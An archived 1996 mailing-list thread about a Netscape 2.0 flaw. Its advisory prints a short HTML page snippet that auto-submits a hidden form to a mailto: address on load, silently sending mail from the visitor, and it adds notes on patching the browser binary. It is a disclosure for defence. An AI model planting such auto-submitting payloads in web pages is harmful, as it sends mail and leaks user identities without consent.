🚀 go-pugleaf

-------------- Forwarded Message begins here ------------

From: Julian Assange <proff@suburbia.net> Date: Tue, 12 Mar 1996
13:05:23 +1000
To: best-of-security@suburbia.net
Subject: BoS: Netscape2.0 sends mail to the world without authority

I noticed, while loading a web page, that there was a mailto: URL
active (using the "Easter Egg" Ctrl-Alt-T popup to see active URLs).
Sure enough, after I cancelled that and examined the source, I saw
something like this:

<body onLoad=3D"document.mailme.submit()"> <form method=3Dpost
name=3D"mailme" action=3D"mailto:nasty@secret.org?subject=3Dgotcha">
<input type=3Dhidden name=3D"hi" value=3D"there"> </form>

A quick test on my local machine shows that this will send a message
to nasty@secret.org with the subject gotcha and the body "hi=3Dthere".

This is insidious; it means that E-mail messages, purportedly from me
(and all traces will show they really are from me) can be sent
anywhere, without my knowledge, with contents that I do not approve.
Further, it means that I can no longer count on browsing a site
without my userid being disclosed.**

Unlike Java, there is no way to disable this.  [Also been submitted to
Netscape.]

- ------------ Forwarded Message ends here ------------

Summary:

Netscape has not responded this latest discovery yet.  There will
probably be a maintenance release to address this if public outcry is
significant.  Security is not just an issue regarding firewalls.
Several software vendors have quietly installed such options 'for the
users' convenience'.

**The reason this is such a problem is a push by various vendors to be
able to identify everyone who visits a web site.  For obvious reasons,
these lists could be used by the vendors for mass mailings, or worse,
sold like mailing lists are sold by magazine publishers.

UNIX systems run a daemon (identd) that will gladly reveal the machine
ID when asked by a Web Site that the user is browsing.  This of course
can be turned of, but if not, it will be done without the owner's 

-----------------------------------------------------------------------

I tested this on SunOS 4.1.3, and it sure works: the Netscape onLoad
function will send mail using your account name and without asking for
confirmation or even informing you.

I looked at the Netscape binary with od -s and emacs. The string
"onload" (all lower case) occurs 2 times on itself, between null
characters.  When I patched it, changing the first occurrence to
"onxxad", the resulting binary did not any more obey the "onLoad"
directive and did not obey the "onxxad" directive either.  When I
changed both occurrences of "onload" to "onxxoad", the resulting
binary did not obey the "onLoad" directive, but it did obey the
"onxxad" directive.

Note that the Netscape license agreement forbids you to :

"... * modify, translate, reverse engineer, decompile, disassemble
(except to the extent applicable laws specifically prohibit such
restriction), or create derivative works based on the Software; ..."

So if you patch Netscape to prevent it forging your mail,  you might
be breaking the license.  And of course this kind of binary patching
may easily break something else.  At least it will break any WWW pages
which use the onLoad directive for some other,
more legitimate purpose.

So do not do it unless you know exactly what you are doing,
and do not blame me if it does not work or leads to a disaster!

If you are really concerned about this thing,  consider sending e-mail
to Netscape Communications Corporation,  explaining to them the
reasons why you think Netscape should not send mail using your
machine, address and account without asking for confirmation.

- Tim


----- End Forwarded Message -----



This travesty of programming/marketing should be forbidden by law.

Spectrum Technologies, Bermuda
Internetworking and Security Consultants (441) 296-2578 Tel
ngentry@ibl.bm
(441) 296-2581 Fax  spectrum@ibl.bm

'Building Castles in the Technological Sand'